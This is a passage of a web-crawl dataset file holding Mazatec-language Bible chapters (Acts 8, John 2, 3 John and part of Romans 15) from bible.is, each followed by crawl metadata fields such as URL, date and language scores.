tsja jñà xi̱ta̱, ni̱to̱ón tjoé‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, jè Simón tsibít'aà‑la̱ to̱n jñà xi̱ta̱‑la̱ Cristo, 19kitsò‑la̱: ―'A̱n, ti̱koa̱ tjiì‑ná nga'ñó jè, mé‑ne ni̱ta̱ yá xi̱ta̱‑ne xi kosòn‑la̱ ndsa̱a ti̱koa̱ tjoé‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. 20Jè Pedro kitsò‑la̱: ―¡Kàtiyaàkoi̱i to̱n‑lè! Ngaji̱, k'oa̱á s'ín nìkítsjiìn tsà maá bindaà‑ná kjo̱tjò xi tsjá Nainá. 21Ngaji̱ mìkiì tjí'nde‑lè i̱t'aà ts'e̱ xá jè nga jè ini̱ma̱‑lè mì kixi̱ tíjna nguixko̱n Nainá. 22Ti̱kájnoi jé‑lè, nga ch'o tsò ya̱ i̱jiìn ini̱ma̱‑lè, kì ti̱ jé binchaàtsji‑ne. Ti̱jét'aà‑la̱ Nainá tsà koi na̱chrjein‑la̱ si̱ìjchàat'aà‑lè jé‑lè. 23Be‑ná nga jè kjoa̱xìtakòn xi tíjiìn ini̱ma̱‑lè ko̱ jè kjoa̱ch'o‑lè mìkiì tsjá'nde‑lè nga ndaà 'nì. 24Jè Simón k'e̱é kitsò: ―Síjét'aà‑nò, titsi'ba‑là Nainá xi i̱t'aà ts'a̱n mé‑ne nga mì k'oa̱ s'ín ko̱mat'ian ngats'iì kjoa̱ xi k'oa̱s'ín titsa̱'mì‑ná. 25Jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús, k'e̱ nga jye kitsjaà 'én i̱t'aà ts'e̱ Cristo ti̱koa̱ tsakóya 'én ndaà‑la̱ Nainá, kiì ìjngoò k'a‑ne ján Jerusalén. K'e̱ nga chinchimaya ndi̱yá, kjìn xi̱ta̱ na̱xa̱ndá jtobá xi chja̱‑ne Samaria tsibéno̱jmí‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. 26Xi jye komà, jngoò àkja̱le̱‑la̱ Nainá kiìchja̱‑la̱ Felipe, kitsò‑la̱: ―Ti̱sítji̱in, t'in kixi̱i ndi̱yá xi bitjokàt'aà‑ne Jerusalén, fìjen bijchó skanda Gaza. (Ndi̱yá jè, ya̱á fahato ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn.) 27Felipe, tsasítje̱n, kiì; ya̱ i̱ya ndi̱yá kisatiìkjoò jngoò xi̱ta̱ x'i̱n ts'e̱ Etiopía xi 'ñó 'nga xá tjín‑la̱ xi jye kjòxkiì‑la̱ nga mì ti̱ íchjín si̱ìs'in‑ne; tesorero tjín‑la̱ ts'e̱ chjo̱ón sko̱‑la̱ Etiopía xi 'mì Candace. Jerusalén j'iì‑ne xi̱ta̱ jè nga kiì i̱ngo̱ ñánda beèxkón Nainá. 28Xi̱ta̱ jè, k'e̱ nga tínchrobá‑ne nangui‑la̱, tíjnaya carreta‑la̱; tíbíxke̱jiìn xo̱jo̱n xi kiskiì Isaías, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 29Jè Ini̱ma̱ Tsjeè‑la̱ Nainá kitsò‑la̱ Felipe: ―T'in tji̱ngui‑la̱ carreta jè, tsjahijtakoi̱i. 30Felipe ni̱to̱ón kiìtji̱ngui‑la̱, kiì'nchré‑la̱ jè xi̱ta̱ nga tíbíxke̱jiìn xo̱jo̱n xi kiskiì Isaías, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá; i̱kjoàn kiskònangui‑la̱ kitsò‑la̱: ―¿A fìyaá‑lè kó s'ín tíchja̱ xo̱jo̱n xi tìbìxke̱jiìn? 31Jè xi̱ta̱ etiope kitsò: ―¿Kó s'ín ko̱ma kji̱ya‑na nga mì yá béno̱jmíya‑na? K'e̱é tsibítsi'ba‑la̱ Felipe nga tsijin‑jno carreta; ya̱á tsibìjnayako̱. 32Jè Xo̱jo̱n‑la̱ Nainá xi tíbíxke̱jiìn ts'e̱ Isaías tsò‑né: Kiìko̱ koni jngoò orrè nga kiì sík'en; k'oa̱á ngaya‑la̱ koni jngoò orrè ki'ndí xi mìkiì kjindáya k'e̱ nga tísìjno‑la̱, k'oa̱á s'ín mìkiì kiìchja̱ k'e̱ nga tsatojiìn kjo̱'in. 33K'e̱ nga tsachrjekàngui xi̱ta̱, mì kixi̱ kisindaàjiìn‑la̱. Nga mì yá xi̱ta̱ tje̱ s'e̱‑la̱, ni̱yá xi si̱ìkítsjeèn, nga jè, kinìk'en‑né i̱ i̱sò'nde. 34Jè xi̱ta̱ etiope kitsò‑la̱ Felipe: ―T'i̱in kjo̱ndaà. Tèno̱jmíya‑ná yá‑né xi k'oa̱s'ín títsò‑la̱ jè Isaías; ¿a kj'ei̱í xi̱ta̱‑né, a xi ti̱jè‑ne yijo‑la̱? 35Felipe tsibíts'ia̱ko̱‑ne jè xo̱jo̱n xi tíbíxke̱jiìn xi̱ta̱ etiope; tsibéno̱jmí yije‑la̱ i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Jesús. 36Koni s'ín nchifìya ndi̱yá, ijchò jngoò i̱'nde ñánda tjín nandá, kitsò xi̱ta̱ etiope: ―I̱'nde jè, tjín nandá; ¿a mìtsà ndaà s'e̱ tsà s'iaàn bautizar yijo‑na̱? 37Felipe kitsò‑la̱: ―Tsà ko̱ó ini̱ma̱‑lè nga ndaà mokjeiín‑lè ko̱ma‑né. Xi̱ta̱ jè kitsò: ―Mokjeiín‑na nga Jesús, jè xi Cristo xi Ki'ndí‑la̱ Nainá. 38Ko̱ kitsjaà o̱kixi̱ nga tsasíjna carreta, i̱kjoàn tsitajen ingajò, jahas'en‑jiìn nandá, jè Felipe kis'iìn bautizar. 39K'e̱ nga jye itjokàjiìn‑ne nandá, Felipe, tà ni̱to̱ón kichijà; jè Ini̱ma̱ Tsjeè‑la̱ Nainá kiìko̱; mì ti̱ kiì kijtseèxkon‑ne xíkjín; ta̱nga jè xi̱ta̱ etiope, k'e̱ nga tífì ya̱ ndi̱yá, tsjaá jchán tjín‑la̱. 40Jè Felipe k'e̱ nga kjòchi̱ya‑la̱ jye ya̱ tíjna na̱xa̱ndá Azoto; xki̱ xi ján na̱xa̱ndá tsibéno̱jmí 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo skanda k'e̱ nga ijchò na̱xa̱ndá xi 'mì Cesarea.\nHechos 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/8","date":"2013-12-10T17:18:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164022328\/warc\/CC-MAIN-20131204133342-00016-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000066757202148}","num_words":924,"character_repetition_ratio":0.074,"word_repetition_ratio":0.002,"special_characters_ratio":0.227,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ra kjomà jàn ni̱chjin ki'seé jngo 'sí ján Caná, ya̱ na̱xi̱ndá ra chja̱‑ni Galilea nga tsixan jngo xi̱ta̱. Ko̱ jè na̱‑la̱ Jesús ya̱á tíjna. 2Ti̱'koa̱á inakjoá‑te‑la̱ Jesús ko̱ xi̱ta̱ ra kotá'yá'ta‑la̱ ya̱ ñánda̱ tsixan xi̱ta̱. 3'Kia̱ nga ijyehe'tà nandá xán 'tse̱ uva ñánda̱ nga tsixan xi̱ta̱, jè na̱‑la̱ Jesús kitsó‑la̱: ―Ijye‑ró ijyehe'tà nandá xán‑la̱ xi̱ta̱ ra kàbixan. 4Jesús kitsó‑la̱: ―¿Mé‑ni 'a̱n ko'mì‑náa̱? Takó kjè kì bijchó ni̱chjin‑la̱ nga sìhitjásòo̱n jè xá ra 'jíi̱‑na. 5Jè na̱‑la̱ Jesús kitsó‑la̱ jñà xi̱ta̱ ra i̱nchibíya nandá xán: ―Ko̱'sín 'tia̱àn koni 'sín ki̱tso̱‑no ra jè. 6Jon ma‑ni ti̱jí na̱jo̱ ra ma sinchá nandá ra ya̱ i̱ncha ra síchjeén xi̱ta̱ judío nga sítsje‑ni tsajmì ra tjín‑la̱ koni 'sín tjín kjo̱téxoma‑la̱ ra xkón tjín. Nga jngó jngó ti̱jí kìi̱, kjiyaá‑la tsa jò ko̱ tsa jàn ndichjon ra kan litro tjín‑la̱ nandá nga jngó jngó. 7Jesús kitsó‑la̱ jñà xi̱ta̱ ra i̱nchibíya nandá xán: ―Ti̱jtse nandá jñà ti̱jí kìi̱. Jñà xi̱ta̱ chi̱'nda tsinchá nandá jñà ti̱jí kìi̱; ngi nda kjón‑ní isìjtse ijye. 8A̱kjòn kitsò Jesús: ―Ti̱náchrje chiba ko̱ 'ti̱‑la jè ra síjna ítjòn nga tísísin‑la̱ xi̱ta̱. A̱kjòn 'koa̱á 'sín ki'sìn. 9Jè xi̱ta̱ ra tíjna ítjòn nga tísísin‑la̱ xi̱ta̱, iskó'tá jè nandá ra nandá xán kjomà. Jè xi̱ta̱ ra̱kìi̱, nda mí be ñánda̱ 'ji‑ni jè xán; (tà jñá kijtse xi̱ta̱ ra i̱nchibíya, nga̱ jñà ikachrje nandá). 'Kia̱á jè xi̱ta̱ ra tíjna ítjòn kiìchja̱‑la̱ xi̱ta̱ 'xi̱n ra ixan, 10kitsò‑la̱: ―Nga'tsì xi̱ta̱, jé tsjá ítjòn jè nandá xán ra isa̱ 'ñó nda, ko̱ 'kia̱ nga ijye na̱ti i̱nchi'bi xi̱ta̱, 'kia̱á tsjá jè xán ra isa̱ nangi tjín‑la̱. Tanga ji̱ kabìjnatjó‑níi̱ jè xán ra isa̱ nda, ko̱ jè tjinikjehe'ta‑ni. 11Jé kjo̱xkón ra̱kìi̱ ra ki'sìn ítjòn Jesús ya̱ na̱xi̱ndá Caná ra chja̱‑ni Galilea nga tsakón kjoa̱jeya‑la̱, ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ kjokjiín‑la̱ a̱'ta 'tse̱. 12'Kia̱ nga ijye kjomà, ya̱á kijì na̱xi̱ndá Capernaum; tji̱ko̱ na̱‑la̱ ko̱ jñà 'ndse̱ ko̱ xi̱ta̱ ra kotá'yá'ta‑la̱; ko̱ ya̱á tsikìtsa̱hijyo chiba ni̱chjin. 13Ijyeé kjochraña ni̱chjin nga síjeya 'sí jñà xi̱ta̱ judío ya̱ ján Jerusalén nga síkítsjen‑yá ni̱chjin 'kia̱ nga itjojin kjo̱hi'in ya̱ ján nangi Egipto; ko̱ ya̱á kijì Jesús. 14'Kia̱ nga 'jaha'sen a̱ya i̱ngo̱ ítjòn, jè Jesús, kijtse‑ní nga ya̱ ndi̱tsin i̱ngo̱ tjíhijyo xi̱ta̱ ra batína nchra̱ja̱, ko̱ forrè ko̱ tjo̱ni̱ña̱; ti̱'koa̱ tjítsa̱jna'ta ímixa̱ jñà xi̱ta̱ ra síkaatjìya to̱n. 15'Kia̱á 'ja Jesús, tsikínda jngo na'ñó ra 'tson xi̱ta̱, a̱kjòn tsahatji̱ngi ijye‑la̱ xi̱ta̱ ra ya̱ tjítsa̱jna ya̱ ndi̱tsin i̱ngo̱, ko̱ jñà nchra̱ja̱‑la̱ ko̱ forrè‑la̱. Ti̱'koa̱á tsikíxten'ta‑te ya̱ a̱'ta nangi to̱n‑la̱ jñà xi̱ta̱ ra síkaatjìya to̱n ko̱ a̱kjòn isíkáfaya ímixa̱‑la̱. 16Jñà ra batína tjo̱ni̱ña̱ kitsó‑isa‑la̱: ―Ti̱náchrje tsje cho̱ kìi̱. Kì ni'ya ndi̱tsi̱n 'nià jè ni'ya‑la̱ Na̱'ìn‑na̱. 17Jñà xi̱ta̱ ra kotá'yá'ta‑la̱, 'kia̱á ítsjen‑la̱ kó'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"'Ñó machi̱nia̱, ta nga̱tjì‑la̱ nga 'ñó matsjake ni'ya‑li.\" 18Jñà xi̱ta̱ judío, 'kia̱á iskonangi‑la̱, kitsò‑la̱: ―¿Mé kjo̱xkón ra bakon‑náji̱n nga ji̱ tjín‑li kjo̱hixi̱ nga ko̱'sín 'nì? 19'Kia̱á kiìchja̱ Jesús, kitsò‑la̱: ―Ti̱xojen i̱ngo̱ ra̱kìi̱, ko̱ 'a̱n, ta jàn ni̱chjin kindá india‑na. 20'Kia̱á kitsò jñà xi̱ta̱ judío: ―Jè i̱ngo̱ ra̱kìi̱, ichán jon nó isinda‑ni, ko̱ ji̱, ta jàn ni̱chjin mejèn‑li kínda india‑ni. 21Tanga jè i̱ngo̱ ra ko̱kitsò‑la̱ Jesús, ti̱jé‑ni ijo‑la̱. 22'Koa̱á jnchro ma‑ni, 'kia̱ nga jaáya‑la̱, jñà xi̱ta̱ ra kotá'yá'ta‑la̱, 'kia̱á ítsjen‑la̱ 'én ra ko̱'sín kitsò; kjokjiín‑la̱ koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá ko̱ 'én ra kiìchja̱ Jesús. 23'Kia̱ nga tíjna ya̱ Jerusalén jè Jesús, ya̱ 'sí paxko̱, kjín xi̱ta̱ kjokjiín‑la̱ 'kia̱ nga kijtse jñà kjo̱xkón ra ki'sìn. 24Tanga Jesús takó mì kì nda isìjngo ikon ra a̱'ta 'tse̱ xi̱ta̱ kìi̱, nga̱ ki, ijyeé nda bexkon nga'tsiòo̱. 25Jesús mì kì tsa machjeén‑la̱ yá ra ko̱ki̱tso̱‑la̱ kó kjòn nga jngó jngó inìma̱‑la̱ xi̱ta̱, nga̱ jè jnchro ra 'ñó nda be kó'sín tjíhijyo inìma̱‑la̱ xi̱ta̱.\nSan Juan 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/2","date":"2013-12-09T00:12:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163835370\/warc\/CC-MAIN-20131204133035-00007-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":603,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.332,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ji̱ ndí 'ndsé ra 'mì‑li Gayo ra 'ñó nda chibé ko̱ ra ngi ko̱ inìma̱‑na̱ nga tsjake̱‑la, tíbindá‑la jè xa̱jo̱n ra̱kìi̱ 'a̱n ra xi̱ta̱ jchínga 'mì‑na ya̱ i̱ngo̱. 2Ji̱ ndí 'ndsé, 'koa̱á 'sín tísíjé‑la̱ 'a̱n Nainá, nga nda katabitjo ijye ta mé ra 'si̱in ji̱, koni 'sín nda tímahachikon'tin inìma̱‑li ra a̱'ta 'tse̱ Nainá, 'koa̱á ti̱'sín nda katijna jè ijo‑li nga ni̱mé 'chin kata'se‑la̱. 3Taxki̱ 'ñó kjotsja‑na 'kia̱ nga 'ji i'ka 'ndsé ra tsi'kéna̱jmí‑na nga 'koa̱á 'sín tjiníjchí ijo‑li koni 'sín tjín kjoa̱kixi̱ a̱'ta 'tse̱ Cristo. 4Tsìn jngo‑isa kjoa̱ ra ko̱'sín 'ñó tsja 'bé‑la̱ inìma̱‑na̱, ta jé‑ní 'kia̱ nga 'nchree̱ nga jñà ra i̱xti‑na̱ xin‑la̱ nga 'koa̱á 'sín i̱nchisíjchá ijo‑la̱ koni 'sín tjín ra kjo̱hixi̱. 5Ngaji̱ ndí 'ndsé ra 'ñó tsjake̱‑la, 'ñó kixi̱ tjiníjchí ijo‑li, 'kia̱ nga ko̱'sín nda tjinisin‑la̱ ya̱ ni'ya‑li jñà xi̱ta̱ xàngie̱é ra bijchójkon‑li ra ti̱'koa̱ 'én‑la̱ Nainá makjiín‑la̱; ko̱ isa̱á ta nda tjín‑isa 'kia̱ nga ti̱'koa̱ nda tjinisin‑la̱ jñà xi̱ta̱ xàngie̱é ra xìn i̱'nde 'fiì‑ni. 6Jñà xi̱ta̱ xàngie̱é, 'koa̱á 'sín tsi'kéna̱jmí kixi̱ ya̱ ngixko̱n xi̱ta̱ na̱xi̱ndá‑la̱ Cristo, nga ngaji̱ 'ñó tsjachi nga'tsì xi̱ta̱ xàngie̱é kìi̱. Ko̱'sín nda ti̱si̱ko̱ isi 'kia̱ nga kijchòjkon‑li; 'ti̱‑la̱ ta mé ra machjeén‑la̱ 'kia̱ nga tjímaya ya̱ ndi̱yáa̱. Ko̱'sín ti̱ki̱i koni 'sín nga sasén‑la̱ Nainá. 7Nga̱ a̱'ta 'tse̱ Cristo‑ní nga ko̱'sín ijye tsikínè‑la̱ ijo‑la̱ jñà xi̱ta̱ xàngie̱é kìi̱, nga ko̱'sín i̱nchisíxá‑la̱ Jesucristo, ko̱ majìn‑la̱ nga jñà ska̱ábé tsajmì ra tsjá‑la̱ xi̱ta̱ ra mì tsa a̱'ta 'tse̱ Cristo makjiín‑la̱. 8Kií machjeén‑ni nga jién bako̱‑ná nga ki̱si̱ke̱é jñà xi̱ta̱ xàngie̱é kìi̱. Tsa ko̱'sín ki̱si̱ke̱é, tsó‑ni kjoa̱ nga ngásón i̱nchinika'bísén jè 'én kixi̱ ra nda tsò. 9'A̱n ijyeé ítsikindá jngo‑la̱ xa̱jo̱n nga ísikásén‑la̱ jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo, tanga jè Diótrefes mì kì sasén‑la̱ koni 'sín nga tsi'kìn‑la̱ji̱n, nga̱ jè ra mejèn‑la̱ ra jè, nga ta jè ko̱tèxoma. 10'Kia̱ nga kijchòo̱, 'kia̱á ko̱xín kixi̱‑la̱ a̱'ta 'tse̱ nga'tsì kjoa̱'cho ra tí'sín nga 'ñó 'cho tsò 'én ndiso ra tíbánè‑naji̱n. Ko̱ mì tsa ta ya̱ majngo ikon, ti̱'koa̱á mì ma‑te‑la̱ nga sísin‑la̱ jñà xi̱ta̱ xàngie̱é ra bijchójkon ya̱ ni'ya‑la̱. Ko̱ jñà 'ndsé ko̱ tichjeé ra mejèn‑la̱ nga si̱ìsin‑la̱ xi̱ta̱ xàngie̱é, jé batéchjà‑la̱, ko̱ ti̱'koa̱á bachrjekàjin‑ni ya̱ na̱xi̱ndá‑la̱ Cristo jñà 'ndsé ko̱ tichjeé ra ko̱'sín síhitjasòn kjo̱nda kìi̱. 11Ji̱ ndí 'ndsé ra 'ñó tsjake̱‑la, kì ya̱ chjingí‑la̱ jñà kjoa̱ ra 'cho tjín; jñà chjíngi‑la̱ ji̱ jñà kjoa̱ ra nda tjín. Nga̱ jè xi̱ta̱ ra nda 'sín, xi̱ta̱ 'tse̱ Nainá‑ní; tanga jè xi̱ta̱ ra 'cho 'sín, kjè kì be yá‑ni ra Nainá. 12Ra a̱'ta 'tse̱ Demetrio nga'tsì‑ni xi̱ta̱ nga ko̱'sín tsò nga 'ñó nda tjín koni 'sín tí'sín ra jè, nga̱ skanda jè ra kjoa̱kixi̱ 'koa̱á 'sín bakón nga jè Demetrio ndaá tjín koni 'sín nga tí'sín ra jè; 'koa̱á ti̱'sín bixó‑ji̱n nga ndaá tjín koni 'sín nga tí'sín, ko̱ ndaá 'ya‑ti ra ji̱ nga 'én kixi̱‑ní koni 'sín nga bixó‑ji̱n. 13Tjín‑isa mé 'én ra mejèn‑na nga ko̱xín‑la, tanga majìn‑na nga tà xa̱jo̱n sikásén‑la, 14jé ra mejèn‑na nga íjkon xátí‑la, 'kia̱á isa̱ nda jchi̱bana̱jmié 'kia̱ nga kijchòjkon‑la. 15Ko̱'sín 'nchán katijna ki'ta inìma̱‑li. Jñà xi̱ta̱ ra nda báko̱‑ná ra i̱ i̱'nde‑la̱ tísíhixo'tà‑li. Ko̱'tín‑la̱ jñà xi̱ta̱ ra nda báko̱‑ná ra ya̱ títsa̱jnako̱‑li, ko̱'sín Nainá katasíchikon'tin nga jngó jngó‑ni ra jñà.\n3 Juan 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/3John\/1","date":"2013-12-12T07:29:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164567400\/warc\/CC-MAIN-20131204134247-00019-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":519,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñá xi jye kixi̱ mokjeiín‑ná i̱t'aà ts'e̱ kjoa̱ xi tjí'nde‑ná mé xi s'e̱én, mochjeén‑né nga ti̱koa̱ ki̱chìkjoa̱ko̱‑ná jñà xi̱ta̱ xi k'oa̱s'ín mokjeiín‑la̱ nga mìkiì tjí'nde‑la̱ mé kjoa̱ xi s'i̱in. Mìtsà tà jñà kjoa̱ xi ndaà sasén‑ná ki̱nchátsjiaá. 2Nga jngoò ìjngoaá, mochjeén‑né nga k'oa̱s'ín s'e̱én jè kjoa̱ xi sasén‑la̱ jñà xi̱ta̱ xinguia̱á xi kjo̱ndaà ts'e̱, mé‑ne nga kijin‑ìsa kjo̱hítsjeèn‑la̱ jè kjoa̱ xi mokjeiín‑la̱. 3Nga ti̱koa̱ jè Cristo mìtsà jè tsohótsji kjoa̱ xi sasén‑la̱ yijo‑la̱, tà sa̱á i̱t'aà ts'e̱é tsitasòn koni s'ín tjít'aà xo̱jo̱n ts'e̱ Salmo, nga tsò: \"'Én ch'o xi ji̱ kiìchja̱jno‑lè, 'a̱án kiskaàt'aà‑na̱.\" 4Jñà 'én xi kitjei nga sa̱ kjòtseé, koií xá kitjei‑ne nga ko̱kòya‑ná mé‑ne nga i̱t'aà ts'e̱ Xo̱jo̱n‑la̱ Nainá, tseé s'e̱én takoán ti̱koa̱ s'e̱‑la̱ kjoa̱'nchán ini̱ma̱‑ná, mé‑ne nga ko̱ma chíñakjoa̱‑lá i̱t'aà ts'e̱ Nainá. 5Nainá xi ma‑la̱ tsjá‑ná kjoa̱tsetakòn ko̱ xi ma‑la̱ sí'nchán‑jiìn ini̱ma̱‑ná, k'oa̱s'ín jngoò kjo̱hítsjeèn kàtatsjá‑nò nga jngoò ìjngoò koni tsò Cristo Jesús, 6mé‑ne ngats'ioò ngásòn jngoò jta̱ jeya ti̱kíjna Nainá, Na̱'èn‑la̱ Jesucristo xi otíxoma‑ná. 7Koií kjoa̱‑la̱ k'oa̱s'ín chjoétjò xinguio̱o nga jngoò ìjngoò koni s'ín kiskoétjò‑nò Cristo mé‑ne nga jeya kíjna‑ne Nainá. 8K'oa̱á xán‑nò, jè Cristo Jesús, koií xá j'iì‑ne nga j'iì síxájiìn‑la̱ xi̱ta̱ judío xi tjít'aà chi̱ba̱‑la̱ kjoa̱ ts'e̱ circuncisión mé‑ne nga tsakó‑ne kjoa̱kixi̱‑la̱ Nainá ti̱koa̱ síkitasòn koni s'ín jye kitsjaà‑la̱ tso'ba Nainá jñà xi̱ta̱ jchínga kjiìn‑la̱. 9Ti̱koa̱á koií xá j'iì‑ne mé‑ne nga jñà xi mìtsà xi̱ta̱ judío jeya si̱ìkíjna Nainá i̱t'aà ts'e̱ kjo̱hi̱ma̱takòn xi tjín‑la̱ Nainá koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá, nga tsò: Koií kjoa̱‑la̱ nga jeya siìkíjna‑lè i̱jiìn‑la̱ xi̱ta̱ na̱xa̱ndá xi mìtsà xi̱ta̱ judío. I̱t'aà tsi̱ji sé‑lè sò xi ndaà tsò. 10Ìjngoò k'a tjít'aà xo̱jo̱n ñánda nga tsò: Jñò xi mìtsà xi̱ta̱ judío 'mì‑nò, tsjaá t'è‑lá takòn ko̱ xi̱ta̱ na̱xa̱ndá‑la̱ Nainá. 11Ìjngoò k'a tjít'aà xo̱jo̱n ñánda tsò: Jñò ngats'ioò xi mìtsà xi̱ta̱ judío 'mì‑nò, jeya ti̱kíjna Na̱'èn‑ná, ngats'ioò xi na̱xa̱ndá 'mì‑nò jeya ti̱nachrjeè Nainá. 12Ìjngoò k'a tjít'aà xo̱jo̱n ts'e̱ Isaías ñánda tsò: Jè tje̱‑la̱ Isaí ki̱tjot'aà jngoò‑ne jts'én‑la̱ xi ko̱tìxoma‑la̱ jñà xi mìtsà xi̱ta̱ judío, ko̱ jè jts'én jè ko̱òt'aà ikon nga skóña‑kjoa̱‑la̱. 13Nainá xi tsjá nga chiñàkjoa̱á, kàtatsjá yije‑nò kjo̱tsja ko̱ kjoa̱'nchán nga mokjeiín‑nò i̱t'aà ts'e̱, mé‑ne nga ìsa̱ ndaà chíñakjoa̱ ìsa̱a xi ko̱ nga'ñó‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. 14Ta̱nga ndí 'ndsè, 'a̱n tíjngoò takoàn xi i̱t'aà tsa̱jòn xi ti̱jñò‑nò tjín‑nò kjo̱ndaà ti̱koa̱ machi̱ya‑nò nga ko̱ma ti̱jñò sìkixi̱ya‑là xi̱ta̱ xinguio̱o nga ìjngoò jngoò. 15Ndí 'ndsè, 'ñó tíbeè‑la̱ takoàn nga tìkjiì‑nò xo̱jo̱n jè; tìchjà kixi̱‑nò, mé‑ne nga mìkiì jchàajiìn‑nò koni tsò xo̱jo̱n jè. Koií k'oa̱s'ín tìsìkítsjeèn‑nò nga 'a̱n kitjoé‑na kjo̱tjò‑la̱ Nainá k'e̱ nga kitsjaà‑na xá, 16mé‑ne nga 'a̱n ko̱ma‑na chi̱'nda‑la̱ Jesucristo i̱t'aà ts'e̱ xi mìtsà xi̱ta̱ judío. Sìxákoa̱a 'én ndaà‑la̱ Nainá, mé‑ne jñà xi mìtsà xi̱ta̱ judío ndaà sasén takòn‑nè Nainá koni jngoò kjo̱tjò xi 'ñó sasén‑la̱ Nainá nga i̱t'aà ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá jyeé kjòtsjeè. 17'A̱n tjín‑na mé kjoa̱‑ne nga matsja‑na i̱t'aà ts'e̱ Cristo ts'e̱ xá xi tìs'iaàn. 18Nì mé kjoa̱ tjín xi ma'ñót'aà takoàn nga ma chjà, ta jè kjoa̱ ts'e̱ Cristo nga 'a̱n síkjeén‑na̱ nga sìxákoa̱a jñà xi mìtsà xi̱ta̱ judío mé‑ne nga ko̱ma si̱kitasòn‑la̱ Nainá. K'oa̱á s'ín kis'iaàn i̱t'aà ts'e̱ 'én xi kichjà ko̱ i̱t'aà ts'e̱ xá xi kis'iaàn, 19ko̱ i̱t'aà ts'e̱ kjo̱xkón xi okó kjoa̱jeya‑la̱ Nainá ko̱ i̱t'aà ts'e̱ nga'ñó‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. Jyeé ndaà kisìngásoàn 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, tsibìts'ia̱ko̱‑na ján Jerusalén kóho̱kji nga jngoò itjandiì‑la̱ skanda ján Ilírico. 20K'oa̱á s'ín tsibìnè‑la̱ yijo‑na̱ nga kichjàya 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo ya̱ i̱'nde ñánda kj'eè yá béno̱jmíya i̱t'aà ts'e̱ Cristo, mé‑ne nga mì 'a̱n kokoòya ndaà‑la̱ xi̱ta̱ xi kj'ei̱í xi jye tsakóya ítjòn‑la̱ i̱t'aà ts'e̱ Cristo. 21Koni s'ín tjít'aà Xo̱jo̱n‑la̱ Nainá nga tsò: Skoe̱‑né jñà xi̱ta̱ xi mì yá tsibéno̱jmí‑la̱ i̱t'aà ts'e̱; ko̱chi̱yaá‑la̱ jñà xi̱ta̱ xi kj'eè mé 'én 'nchré xi i̱t'aà ts'e̱. 22Kò kjìn k'a mejèn‑na fìkon‑nò ta̱nga jñà xá xi 'a̱n tìs'iaàn i̱ i̱'nde jé mìkiì tjò'nde‑na nga ma fia. 23Ta̱nga i̱'ndei̱ nga jye jyehet'aà xá‑na̱ i̱jndé, ko̱ ti̱koa̱ kò kjìn nó tjín‑la̱ nga mejèn fìkon‑nò, 24k'oa̱á s'ín tìsìkítsjeèn, k'e̱ nga kjián ján España, k'e̱é kichjàjto‑nò mé‑ne nga skoe̱xkon‑nò. K'e̱ nga jye chibá jngoò tjoà ko̱ma ki̱nchako̱‑ná nga ko̱ma kjián ñánda nga tìfia. 25Ta̱nga i̱'ndei̱ ján Jerusalén tìfia, nga tìfiko̱ jngoò‑la̱ nga'ñó jñà xi̱ta̱‑la̱ Cristo xi ya̱ títsa̱jna. 26Nga jñà xi̱ta̱ na̱xa̱ndá‑la̱ Nainá xi títsa̱jna Macedonia ko̱ Acaya kjòtsja ts'e̱‑né nga tsibíxkó chiba to̱n koni jngoò nga'ñó xi kjo̱tjò ts'e̱ xi̱ta̱ i̱ma̱ na̱xa̱ndá‑la̱ Cristo xi títsa̱jna ján Jerusalén. 27Nguì kjo̱tsja ts'e̱‑né koni s'ín kis'iìn jñà xi̱ta̱ koi. Nga tje̱n‑t'in‑la̱ kjo̱ndaà. Tsà jñà xi̱ta̱ xi mìtsà xi̱ta̱ judío k'oa̱á s'ín kisakò‑la̱ kjo̱ndaà ya̱ i̱jiìn 